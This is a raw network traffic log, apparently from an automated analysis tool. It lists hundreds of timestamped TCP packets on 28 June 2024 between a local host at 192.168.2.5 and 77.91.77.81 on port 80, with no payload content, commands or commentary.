Jun 28, 2024 13:36:12.493839025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493849039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493860006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493872881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493884087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493906021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493999958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494050980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494074106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494085073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494133949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494685888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494695902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494705915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494735003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494748116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494776011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494786024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494796991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494807959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494812012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494838953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494853973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494869947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494880915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494906902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494916916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494932890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494947910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494959116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.494968891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494981050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494997978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.494999886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495011091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495019913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495033026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495045900 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495060921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495341063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495392084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495395899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495415926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495426893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495440960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495455027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495464087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495556116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495567083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495583057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495594025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495604038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495620966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495631933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495641947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495646954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495652914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.495731115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.495731115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.496293068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.496331930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.496341944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.496351957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.496364117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.496380091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.496412039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.496422052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.496438026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.496448994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.496453047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.496488094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.500441074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.500451088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.500462055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.500499964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.500499964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611023903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611046076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611062050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611073017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611083984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611093998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611103058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611110926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611113071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611123085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611134052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611161947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611180067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611181974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611190081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611201048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611216068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611244917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611244917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611282110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611514091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611537933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611546993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611567020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611594915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611661911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611711025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611716032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611726999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611753941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611762047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611768961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611790895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611790895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611821890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611912966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611933947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611943960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.611960888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611990929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.611990929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612040043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612051010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612061024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612090111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612134933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612145901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612155914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612164974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612174988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612184048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612190962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612195015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612221956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612241030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612241983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612282038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612726927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612750053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612760067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612782955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612812996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612837076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612852097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612863064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612888098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612915993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.612967014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612977982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612987041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.612997055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613007069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613017082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613015890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.613049984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.613050938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.613209009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613219976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613228083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613260031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.613287926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.613867044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613877058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613887072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613924026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.613950014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.613967896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613977909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613989115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.613998890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614020109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614047050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614150047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614160061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614170074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614180088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614191055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614201069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614201069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614211082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614221096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614222050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614239931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614268064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614609003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614619017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614629984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614660978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614690065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614711046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614721060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614731073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614742994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614759922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614788055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614819050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614830017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614839077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614849091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614859104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614871025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614902020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614902973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.614953995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614964962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.614974976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.615001917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.615030050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.615514040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.615523100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.615566969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.695090055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695103884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695125103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695135117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695143938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695158958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695168972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695178986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695183992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695193052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695199013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695204973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.695208073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695234060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.695252895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.695256948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695266962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695276022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695286036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695297003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.695329905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.695333004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.695370913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.727945089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728001118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728003979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728009939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728025913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728039026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728044987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728044987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728091955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728091955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728652954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728662968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728672981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728708982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728727102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728728056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728735924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728744984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728754044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728775024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728799105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728831053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728861094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728871107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728879929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728893042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.728912115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728955984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.728998899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729012966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729022026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729031086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729039907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729044914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729052067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729053974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729073048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729100943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729121923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729135036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729157925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729161024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729196072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729196072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729202986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729252100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729260921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729264975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729295969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729337931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729347944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729357004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729365110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729373932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729383945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729428053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729428053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729475975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729485989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729495049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729504108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729513884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729520082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729545116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729573011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729696035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729705095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729716063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729743958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729763031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729763985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729772091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729779959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729801893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729809046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729810953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729820013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729829073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729846001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729912996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729922056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729932070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.729948997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729948997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.729979992 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.730000019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.730010033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.730020046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.730029106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.730062962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.730062962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.730068922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.730087996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.730114937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.732836962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.732881069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.732889891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.732891083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.732919931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.732934952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.732938051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.732944965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.732954025 CEST	80	49706	77.91.77.81	192.168.2.5
